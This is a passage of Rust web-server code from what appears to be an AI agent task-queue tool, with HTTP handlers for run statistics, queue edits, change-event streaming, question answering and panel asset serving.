5684 completion_rate: Option<RateView>,
5685}
5686
5687impl From<&stats::RepoStats> for RepoSummaryView {
5688 fn from(r: &stats::RepoStats) -> Self {
5689 let t = &r.stats.totals;
5690 Self {
5691 repo: r.repo.to_string_lossy().into_owned(),
5692 name: r.name.clone(),
5693 runs: t.runs,
5694 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5695 }
5696 }
5697}
5698
5699#[derive(Debug, Serialize)]
5705struct StatsView {
5706 totals: StatsTotalsView,
5707 agents: Vec<AgentStatsView>,
5709 reviewers: Vec<ReviewerStatsView>,
5711 advisors: Vec<AdvisorStatsView>,
5713 e2e: E2eStatsView,
5714 release_bumps: ReleaseBumpStatsView,
5715 queue: TaskCountsView,
5716 runs_unreadable: usize,
5726 repos: Vec<RepoSummaryView>,
5730 daily: Vec<DailyStatsView>,
5735 repo: Option<String>,
5739 retired_hidden: Vec<String>,
5743}
5744
5745#[derive(Debug, Serialize)]
5747struct DailyStatsView {
5748 date: String,
5750 runs: usize,
5751 merged: usize,
5752 ready: usize,
5753 other: usize,
5754 completion_rate: Option<RateView>,
5756}
5757
5758impl From<&stats::DayBucket> for DailyStatsView {
5759 fn from(b: &stats::DayBucket) -> Self {
5760 Self {
5761 date: b.date.to_string(),
5762 runs: b.runs,
5763 merged: b.merged,
5764 ready: b.ready,
5765 other: b.other,
5766 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5767 }
5768 }
5769}
5770
5771const STATS_DAILY_DAYS: usize = 30;
5773
5774#[derive(Debug, Default, Deserialize)]
5783#[serde(default)]
5784struct StatsQuery {
5785 repo: Option<String>,
5786 all: bool,
5788}
5789
5790async fn stats_get(
5797 State(ui): State<Arc<Ui>>,
5798 Query(q): Query<StatsQuery>,
5799) -> ApiResult<Json<StatsView>> {
5800 blocking(move || {
5801 let states: Vec<RunState> = run_ids(&ui.runs)
5802 .into_iter()
5803 .filter_map(|id| read_run(&ui.runs, &id).ok())
5804 .collect();
5805 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5806 .iter()
5807 .map(RepoSummaryView::from)
5808 .collect();
5809 let mut scoped: Vec<&RunState> = states.iter().collect();
5810 let mut collected = match &q.repo {
5811 Some(repo) => {
5812 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5813 if filtered.is_empty() {
5814 return Err(ApiError::not_found(format!(
5815 "no runs recorded against repo `{repo}`"
5816 )));
5817 }
5818 scoped = filtered.clone();
5819 stats::collect_refs(filtered)
5820 }
5821 None => stats::collect(&states),
5822 };
5823 if !q.all {
5824 let repo = q
5825 .repo
5826 .as_deref()
5827 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5828 stats::retain_current_roster(&mut collected, &repo);
5829 }
5830 let daily = stats::daily(
5831 scoped,
5832 jiff::Zoned::now().date(),
5833 &jiff::tz::TimeZone::system(),
5834 STATS_DAILY_DAYS,
5835 );
5836 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5837 Ok(Json(StatsView {
5838 totals: StatsTotalsView::from(&collected.totals),
5839 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5840 reviewers: collected
5841 .reviewers
5842 .iter()
5843 .map(ReviewerStatsView::from)
5844 .collect(),
5845 advisors: collected
5846 .advisors
5847 .iter()
5848 .map(AdvisorStatsView::from)
5849 .collect(),
5850 e2e: E2eStatsView::from(&collected.e2e),
5851 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5852 queue: TaskCountsView::from(queue_counts),
5853 runs_unreadable: runs_unreadable(&ui.runs),
5854 repos,
5855 daily: daily.iter().map(DailyStatsView::from).collect(),
5856 repo: q.repo.clone(),
5857 retired_hidden: collected.retired_hidden.clone(),
5858 }))
5859 })
5860 .await
5861}
5862
5863#[derive(Debug, Default, Deserialize)]
5866#[serde(default, deny_unknown_fields)]
5867struct HoldBody {
5868 reason: Option<String>,
5869}
5870
5871async fn queue_hold(
5872 State(ui): State<Arc<Ui>>,
5873 Path(id): Path<String>,
5874 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5875) -> ApiResult<Json<TaskView>> {
5876 let body = match body {
5880 Ok(Json(body)) => body,
5881 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5882 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5883 };
5884 let reason = body.reason.filter(|r| !r.trim().is_empty());
5885 mutate(ui, id, move |t| {
5886 t.hold_manual(reason.clone());
5887 Ok(())
5888 })
5889 .await
5890}
5891
5892async fn queue_release(
5893 State(ui): State<Arc<Ui>>,
5894 Path(id): Path<String>,
5895) -> ApiResult<Json<TaskView>> {
5896 mutate(ui, id, |t| {
5897 t.release_operator("web", None);
5898 Ok(())
5899 })
5900 .await
5901}
5902
5903#[derive(Debug, Deserialize)]
5904#[serde(deny_unknown_fields)]
5905struct AttemptLimitBody {
5906 attempt_limit: serde_json::Value,
5908}
5909
5910async fn queue_attempt_limit(
5911 State(ui): State<Arc<Ui>>,
5912 Path(id): Path<String>,
5913 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
5914) -> ApiResult<Json<TaskView>> {
5915 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5916 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
5917 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
5918 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
5919}
5920
5921#[derive(Debug, Deserialize)]
5922#[serde(deny_unknown_fields)]
5923struct ImplementersBody {
5924 implementers: u8,
5925}
5926
5927async fn queue_implementers(
5928 State(ui): State<Arc<Ui>>,
5929 Path(id): Path<String>,
5930 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5931) -> ApiResult<Json<TaskView>> {
5932 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5933 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5934}
5935
5936#[derive(Debug, Deserialize)]
5937#[serde(deny_unknown_fields)]
5938struct UrgentBody {
5939 urgent: bool,
5940}
5941
5942async fn queue_urgent(
5943 State(ui): State<Arc<Ui>>,
5944 Path(id): Path<String>,
5945 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
5946) -> ApiResult<Json<TaskView>> {
5947 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5948 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
5949}
5950
5951#[derive(Debug, Deserialize)]
5953#[serde(deny_unknown_fields)]
5954struct PriorityBody {
5955 priority: i32,
5956}
5957
5958async fn queue_priority(
5964 State(ui): State<Arc<Ui>>,
5965 Path(id): Path<String>,
5966 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5967) -> ApiResult<Json<TaskView>> {
5968 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5969 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5970}
5971
5972#[derive(Debug, Deserialize)]
5974#[serde(deny_unknown_fields)]
5975struct EditBody {
5976 title: String,
5977 instruction: String,
5978 #[serde(default)]
5981 force: bool,
5982}
5983
5984async fn queue_edit(
5988 State(ui): State<Arc<Ui>>,
5989 Path(id): Path<String>,
5990 body: std::result::Result<Json<EditBody>, JsonRejection>,
5991) -> ApiResult<Json<TaskView>> {
5992 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5993 let mut judged: Option<(String, PathBuf)> = None;
5997 if !body.force {
5998 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5999 let (id, text) = (id.clone(), body.instruction.clone());
6000 let (seen, hits) = blocking(move || {
6001 let id = resolve_task(&queue, &id)?;
6002 let t = queue.get(&id)?;
6003 if text == t.instruction {
6004 return Ok((None, Vec::new()));
6005 }
6006 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6007 Ok((Some((t.instruction, t.repo)), hits))
6008 })
6009 .await?;
6010 if let Some((_, repo)) = &seen {
6011 let cfg = crate::config::Config::discover(repo, None)
6012 .ok()
6013 .map(|(c, _)| c);
6014 let screened =
6015 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6016 .await
6017 .map_err(|dup| {
6018 ApiError::conflict(dup.render(
6019 "Nothing was saved. If it is not a duplicate, repeat the request \
6020 with \"force\": true.",
6021 ))
6022 })?;
6023 if let crate::dupes::Screened::Unjudged(why) = screened {
6024 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6025 }
6026 }
6027 judged = seen;
6028 }
6029 let force = body.force;
6030 mutate(ui, id, move |t| {
6031 if !force && body.instruction != t.instruction {
6032 match &judged {
6033 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6034 _ => {
6035 anyhow::bail!("the task changed while it was being checked; repeat the request")
6036 }
6037 }
6038 }
6039 t.edit(body.title.clone(), body.instruction.clone())
6040 })
6041 .await
6042}
6043
6044async fn queue_done(
6052 State(ui): State<Arc<Ui>>,
6053 Path(id): Path<String>,
6054) -> ApiResult<Json<TaskView>> {
6055 let home = ui.home.clone();
6056 mutate(ui, id, move |t| {
6057 t.succeed();
6058 crate::daemon::supersede_prior_runs(t, &home);
6066 Ok(())
6067 })
6068 .await
6069}
6070
6071async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6079 blocking(move || {
6080 let id = resolve_task(&ui.queue, &id)?;
6081 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6082 ui.queue
6083 .remove(&id, in_flight, &ui.questions)
6084 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6085 Ok(StatusCode::NO_CONTENT)
6086 })
6087 .await
6088}
6089
6090async fn mutate(
6099 ui: Arc<Ui>,
6100 id: String,
6101 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6102) -> ApiResult<Json<TaskView>> {
6103 blocking(move || {
6104 let id = resolve_task(&ui.queue, &id)?;
6105 let _claim = ui.queue.claim(&id).map_err(|e| {
6110 ApiError::conflict(format!(
6111 "{e:#} - a daemon is running this task, so it cannot be \
6112 changed from here yet; wait until it is released, then retry"
6113 ))
6114 })?;
6115 let mut task = ui.queue.get(&id)?;
6116 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6117 Ok(dup) => ApiError::conflict(dup.render(
6118 "Nothing was saved. If it is not a duplicate, repeat the request with \
6119 \"force\": true.",
6120 )),
6121 Err(e) => ApiError::bad_request_from(e),
6122 })?;
6123 ui.queue.put(&mut task)?;
6124 Ok(Json(TaskView::from(task)))
6125 })
6126 .await
6127}
6128
6129async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6137 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6138 tokio::spawn(async move {
6139 let mut ticker = tokio::time::interval(POLL);
6140 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6141 let mut stamps: Option<[Stamps; 3]> = None;
6142 loop {
6143 ticker.tick().await;
6146 let state = Arc::clone(&ui);
6147 let revisions = tokio::task::spawn_blocking(move || {
6148 let stamps = [
6149 store_stamps(state.queue.root(), false),
6150 store_stamps(&state.runs, true),
6151 store_stamps(state.talks.root(), false),
6152 ];
6153 let revisions = (
6154 stamps_revision(&stamps[0]),
6155 stamps_revision(&stamps[1]),
6156 state.questions.revision(),
6157 stamps_revision(&stamps[2]),
6158 state.notices.revision(),
6159 state.lock_loop().rev,
6163 );
6164 (revisions, stamps)
6165 })
6166 .await;
6167 let Ok((revisions, next_stamps)) = revisions else {
6168 break;
6169 };
6170 if last == Some(revisions) {
6171 continue;
6172 }
6173 let mut payload = serde_json::json!({
6174 "queue_rev": revisions.0,
6175 "runs_rev": revisions.1,
6176 "questions_rev": revisions.2,
6177 "talks_rev": revisions.3,
6178 "notifications_rev": revisions.4,
6179 "loop_rev": revisions.5,
6180 });
6181 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6182 for (index, (key, rev)) in [
6183 ("queue_delta", base.0),
6184 ("runs_delta", base.1),
6185 ("talks_delta", base.3),
6186 ]
6187 .into_iter()
6188 .enumerate()
6189 {
6190 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6191 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6193 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6194 }
6195 }
6196 }
6197 last = Some(revisions);
6198 stamps = Some(next_stamps);
6199 let Ok(event) = Event::default().event("change").json_data(payload) else {
6201 break;
6202 };
6203 if tx.send(event).await.is_err() {
6204 break;
6205 }
6206 }
6207 });
6208 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6209 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6210}
6211
6212type Stamps = HashMap<String, (u128, u64)>;
6213
6214fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6216 std::fs::read_dir(root)
6217 .into_iter()
6218 .flatten()
6219 .flatten()
6220 .filter_map(|entry| {
6221 let path = if runs {
6222 entry.path().join("run.json")
6223 } else {
6224 entry.path()
6225 };
6226 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6227 return None;
6228 }
6229 let metadata = path.metadata().ok()?;
6230 let modified = metadata
6231 .modified()
6232 .ok()?
6233 .duration_since(std::time::UNIX_EPOCH)
6234 .ok()?;
6235 let id = if runs {
6236 entry.file_name().to_string_lossy().into_owned()
6237 } else {
6238 path.file_stem()?.to_string_lossy().into_owned()
6239 };
6240 Some((id, (modified.as_nanos(), metadata.len())))
6241 })
6242 .collect()
6243}
6244
6245#[derive(Debug, Serialize)]
6246struct Delta {
6247 base: u64,
6248 changed: Vec<String>,
6249 removed: Vec<String>,
6250}
6251
6252fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6253 let mut changed: Vec<_> = next
6254 .iter()
6255 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6256 .map(|(id, _)| id.clone())
6257 .collect();
6258 let mut removed: Vec<_> = previous
6259 .keys()
6260 .filter(|id| !next.contains_key(*id))
6261 .cloned()
6262 .collect();
6263 changed.sort_unstable();
6264 removed.sort_unstable();
6265 Delta {
6266 base,
6267 changed,
6268 removed,
6269 }
6270}
6271
6272fn runs_revision(runs: &FsPath) -> u64 {
6279 stamps_revision(&store_stamps(runs, true))
6280}
6281
6282fn stamps_revision(stamps: &Stamps) -> u64 {
6286 use std::hash::{Hash as _, Hasher as _};
6287 if stamps.is_empty() {
6288 return 0;
6289 }
6290 let mut entries: Vec<_> = stamps.iter().collect();
6291 entries.sort_unstable();
6292 let mut hasher = std::hash::DefaultHasher::new();
6293 entries.hash(&mut hasher);
6294 hasher.finish().max(1)
6295}
6296
6297fn run_ids(runs: &FsPath) -> Vec<String> {
6303 let mut ids: Vec<String> = std::fs::read_dir(runs)
6304 .into_iter()
6305 .flatten()
6306 .flatten()
6307 .filter(|e| e.path().join("run.json").is_file())
6308 .map(|e| e.file_name().to_string_lossy().into_owned())
6309 .collect();
6310 ids.sort_unstable_by(|a, b| b.cmp(a));
6312 ids
6313}
6314
6315fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6317 let path = runs.join(id).join("run.json");
6318 let body =
6319 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6320 let state: RunState =
6321 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6322 run::migrate_schema(state)
6327}
6328
6329#[must_use]
6337pub fn runs_unreadable(runs: &FsPath) -> usize {
6338 run_ids(runs)
6339 .into_iter()
6340 .filter(|id| read_run(runs, id).is_err())
6341 .count()
6342}
6343
6344fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6346 if runs.join(id).join("run.json").is_file() {
6347 return Ok(id.to_owned());
6348 }
6349 pick(run_ids(runs), id, "run")
6350}
6351
6352fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6354 if queue.path_of(id).is_file() {
6355 return Ok(id.to_owned());
6356 }
6357 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6358}
6359
6360#[derive(Debug, Serialize)]
6371struct QuestionView {
6372 #[serde(flatten)]
6373 question: Question,
6374 detail_md: Vec<md::Node>,
6375 posting_view: Option<PostingView>,
6376 thread_bodies_md: Vec<Vec<md::Node>>,
6378 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6381 waiting_on_agent: bool,
6391 holder: Option<&'static str>,
6395 deputies_enabled: bool,
6399 deputy_exhausted: bool,
6402 run_is_task: bool,
6405 origin_chat: Option<String>,
6408 origin_chat_closed: bool,
6410 can_consult_chat: bool,
6412}
6413
6414#[derive(Debug, Serialize)]
6415struct PostingView {
6416 before_md: Vec<md::Node>,
6417 after_md: Vec<md::Node>,
6418 fields: Vec<crate::github_text::ComparisonView>,
6419}
6420
6421fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6422 let comparison = question.posting_comparison.as_ref()?;
6423 if !comparison.matches_detail(&question.detail) {
6424 return None;
6425 }
6426 let mut ids = std::collections::BTreeSet::new();
6427 if comparison.fields.is_empty()
6428 || comparison
6429 .fields
6430 .iter()
6431 .flat_map(|f| &f.pairs)
6432 .any(|p| !ids.insert(p.id))
6433 || comparison
6434 .fields
6435 .iter()
6436 .flat_map(|f| &f.original_triggers)
6437 .any(|t| !ids.insert(t.id))
6438 {
6439 return None;
6440 }
6441 let fields = comparison
6442 .fields
6443 .iter()
6444 .map(|f| f.view(comparison.excerpt))
6445 .collect::<Option<Vec<_>>>()?;
6446 Some(PostingView {
6447 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6448 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6449 fields,
6450 })
6451}
6452
6453impl QuestionView {
6454 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
6458 let base = md::ImageBase::QuestionPanel {
6459 id: question.id.clone(),
6460 };
6461 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6462 Self {
6463 detail_md: md::to_nodes(&question.detail, &base),
6464 posting_view: posting_view(&question, &base),
6465 thread_bodies_md: question
6466 .thread
6467 .iter()
6468 .map(|t| md::to_nodes(&t.body, &base))
6469 .collect(),
6470 thread_notes_md: question
6471 .thread
6472 .iter()
6473 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6474 .collect(),
6475 deputy_exhausted: store.deputy_exhausted(&question),
6476 waiting_on_agent: question.waiting_on_agent(),
6477 holder,
6478 deputies_enabled,
6479 run_is_task: question.run_names_task(),
6480 origin_chat: None,
6481 origin_chat_closed: false,
6482 can_consult_chat: false,
6483 question,
6484 }
6485 }
6486
6487 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6489 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6490 self.can_consult_chat = consult.is_some();
6491 let talk =
6492 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6493 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6494 self.origin_chat = talk.map(|t| t.id);
6495 self
6496 }
6497}
6498
6499fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6503 Config::discover(repo, None).ok().map(|(c, _)| c)
6504}
6505
6506fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6508 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6509}
6510
6511fn question_views(
6514 qs: Vec<Question>,
6515 store: &ask::Questions,
6516 load: impl FnOnce() -> Option<Config>,
6517) -> Vec<QuestionView> {
6518 if qs.is_empty() {
6519 return Vec::new();
6520 }
6521 let cfg = load();
6522 qs.into_iter()
6523 .map(|q| {
6524 let on = deputies_enabled(cfg.as_ref(), &q);
6525 QuestionView::of(q, store, on)
6526 })
6527 .collect()
6528}
6529
6530fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6540 if !q.status.open() {
6541 return None;
6542 }
6543 if q.cwd.is_none() && q.deputy.is_none() {
6544 return crate::deputy::kind_of(q).map(|_| "nobody");
6545 }
6546 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6547 Some(_) if q.deputy.is_some() => "deputy",
6548 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6549 Some(_) => "asker",
6550 None => "nobody",
6551 })
6552}
6553
6554async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6560 blocking(move || {
6561 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6562 Ok(Json(
6563 question_views(ui.questions.list(), &ui.questions, || {
6564 deputy_config(&ui.repo)
6565 })
6566 .into_iter()
6567 .map(|v| v.with_origin(&tasks, &talks))
6568 .collect(),
6569 ))
6570 })
6571 .await
6572}
6573
6574async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6577 blocking(move || {
6578 let items = ui.notices.list();
6579 let unread = items.iter().filter(|n| n.unread()).count();
6580 Ok(Json(
6581 serde_json::json!({ "unread": unread, "items": items }),
6582 ))
6583 })
6584 .await
6585}
6586
6587fn notice_error(e: anyhow::Error) -> ApiError {
6588 ApiError::not_found(format!("{e:#}"))
6591}
6592
6593async fn notification_read(
6595 State(ui): State<Arc<Ui>>,
6596 Path(id): Path<String>,
6597) -> ApiResult<Json<Notice>> {
6598 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6599}
6600
6601async fn notification_dismiss(
6603 State(ui): State<Arc<Ui>>,
6604 Path(id): Path<String>,
6605) -> ApiResult<Json<Notice>> {
6606 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6607}
6608
6609async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6611 blocking(move || {
6612 let changed = ui.notices.mark_all_read()?;
6613 Ok(Json(serde_json::json!({ "marked": changed })))
6614 })
6615 .await
6616}
6617
6618#[derive(Debug, Default, Deserialize)]
6624#[serde(default, deny_unknown_fields)]
6625struct NewAnswer {
6626 choice: Option<String>,
6627 text: Option<String>,
6628}
6629
6630async fn question_answer(
6631 State(ui): State<Arc<Ui>>,
6632 Path(id): Path<String>,
6633 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6634) -> ApiResult<Json<QuestionView>> {
6635 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6636 let answer = match (body.choice, body.text) {
6637 (Some(c), None) => Answer::Choice(c),
6638 (None, Some(t)) => Answer::Text(t),
6639 (Some(_), Some(_)) => {
6640 return Err(ApiError::bad_request(
6641 "send either `choice` or `text`, not both",
6642 ));
6643 }
6644 (None, None) => {
6645 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6646 }
6647 };
6648
6649 blocking(move || {
6650 let id = resolve_question(&ui.questions, &id)?;
6651 let q = ui
6652 .questions
6653 .get(&id)
6654 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6655 if !q.status.open() {
6656 return Err(ApiError::conflict(format!(
6660 "question {} is already {}",
6661 q.short(),
6662 q.status.as_str()
6663 )));
6664 }
6665 let (q, ()) = ui
6669 .questions
6670 .update(&q.id, |r| r.answer(answer))
6671 .map_err(ApiError::bad_request_from)?;
6672 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6673 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6674 Ok(Json(
6675 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6676 ))
6677 })
6678 .await
6679}
6680
6681#[derive(Debug, Deserialize)]
6683#[serde(deny_unknown_fields)]
6684struct NewSay {
6685 body: String,
6686}
6687
6688async fn question_say(
6698 State(ui): State<Arc<Ui>>,
6699 Path(id): Path<String>,
6700 body: std::result::Result<Json<NewSay>, JsonRejection>,
6701) -> ApiResult<Json<QuestionView>> {
6702 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6703 blocking(move || {
6704 let id = resolve_question(&ui.questions, &id)?;
6705 let q = ui
6706 .questions
6707 .get(&id)
6708 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6709 if !q.status.open() {
6710 return Err(ApiError::conflict(format!(
6714 "question {} is already {}",
6715 q.short(),
6716 q.status.as_str()
6717 )));
6718 }
6719 let (q, ()) = ui
6722 .questions
6723 .update(&q.id, |r| r.say(body.body))
6724 .map_err(ApiError::bad_request_from)?;
6725 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6726 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6727 Ok(Json(
6728 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6729 ))
6730 })
6731 .await
6732}
6733
6734async fn question_consult(
6743 State(ui): State<Arc<Ui>>,
6744 Path(id): Path<String>,
6745) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6746 let (view, reclaimed) = blocking({
6747 let ui = Arc::clone(&ui);
6748 move || {
6749 let id = resolve_question(&ui.questions, &id)?;
6750 let q = ui
6751 .questions
6752 .get(&id)
6753 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6754 if !q.status.open() {
6755 return Err(ApiError::conflict(format!(
6756 "question {} is already {}",
6757 q.short(),
6758 q.status.as_str()
6759 )));
6760 }
6761 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6762 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6763 return Err(ApiError::conflict(format!(
6764 "question {} has no chat to ask",
6765 q.short()
6766 )));
6767 };
6768 let cfg = if q.consult.is_none() {
6772 Some(Config::discover(&talk.repo, None)?.0)
6773 } else {
6774 None
6775 };
6776 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6777 let claim = if fresh {
6778 match ui.begin_queued_talk_turn(&talk.id)? {
6779 Some(turn_guard) => {
6780 let talk = ui.talks.get(&talk.id)?;
6781 let cfg = match cfg {
6782 Some(cfg) => cfg,
6783 None => Config::discover(&talk.repo, None)?.0,
6784 };
6785 Some((talk, cfg, turn_guard))
6786 }
6787 None => None,
6788 }
6789 } else {
6790 None
6791 };
6792 let q = ui.questions.get(&q.id)?;
6793 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6794 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6795 Ok((view, claim))
6796 }
6797 })
6798 .await?;
6799 if let Some((talk, cfg, turn_guard)) = reclaimed {
6800 let talks = ui.talks.clone();
6801 let id = talk.id.clone();
6802 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6803 }
6804 Ok((StatusCode::ACCEPTED, Json(view)))
6805}
6806
6807fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6809 if store.path_of(id).is_file() {
6810 return Ok(id.to_owned());
6811 }
6812 pick(
6813 store.list().into_iter().map(|q| q.id).collect(),
6814 id,
6815 "question",
6816 )
6817}
6818
6819async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6834 blocking(move || {
6835 let id = resolve_question(&ui.questions, &id)?;
6836 let Some(html) = ui.questions.panel_html(&id) else {
6837 return Err(ApiError::not_found(format!("question {id} has no panel")));
6838 };
6839 Ok(panel_response(
6840 "text/html; charset=utf-8",
6841 false,
6842 html.into_bytes(),
6843 ))
6844 })
6845 .await
6846}
6847
6848async fn question_asset(
6876 State(ui): State<Arc<Ui>>,
6877 Path((id, name)): Path<(String, String)>,
6878) -> ApiResult<Response> {
6879 if !crate::ask::valid_asset_name(&name) {
6882 return Err(ApiError::bad_request(format!(
6883 "`{name}` is not a usable asset name"
6884 )));
6885 }
6886 blocking(move || {
6887 let id = resolve_question(&ui.questions, &id)?;
6888 let asset = ui
6889 .questions
6890 .panel_asset(&id, &name)
6891 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6892 let Some(bytes) = asset else {
6893 return Err(ApiError::not_found(format!(
6894 "question {id} has no asset `{name}`"
6895 )));
6896 };
6897 Ok(panel_response(
6898 asset_content_type(&name),
6899 is_svg(&name),
6900 bytes,
6901 ))
6902 })
6903 .await
6904}
6905
6906fn asset_content_type(name: &str) -> &'static str {
6919 match extension(name).as_deref() {
6920 Some("png") => "image/png",
6921 Some("jpg" | "jpeg") => "image/jpeg",
6922 Some("gif") => "image/gif",
6923 Some("webp") => "image/webp",
6924 Some("svg") => "image/svg+xml",
6925 Some("css") => "text/css; charset=utf-8",
6926 Some("txt") => "text/plain; charset=utf-8",
6927 _ => "application/octet-stream",
6928 }
6929}
6930
6931fn is_svg(name: &str) -> bool {
6934 extension(name).as_deref() == Some("svg")
6935}
6936
6937fn extension(name: &str) -> Option<String> {
6939 name.rsplit_once('.')
6940 .map(|(_, ext)| ext.to_ascii_lowercase())
6941}
6942
6943fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6960 let mut res = (
6961 [
6962 (header::CONTENT_TYPE, content_type),
6963 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6964 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6965 (header::REFERRER_POLICY, "no-referrer"),
6966 ],
6967 body,
6968 )
6969 .into_response();
6970 if download {
6971 res.headers_mut().insert(
6972 header::CONTENT_DISPOSITION,
6973 HeaderValue::from_static("attachment"),
6974 );
6975 }
6976 res
6977}
6978
6979#[derive(Debug, Serialize)]
6985struct TalkView {
6986 #[serde(flatten)]
6987 talk: Talk,
6988 turn_bodies_md: Vec<Vec<md::Node>>,
6989 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
6991 pending_messages_md: Vec<Option<Vec<md::Node>>>,
6992 thinking: bool,
7000 context: talk::ContextUsage,
7004 operator_name: Option<String>,
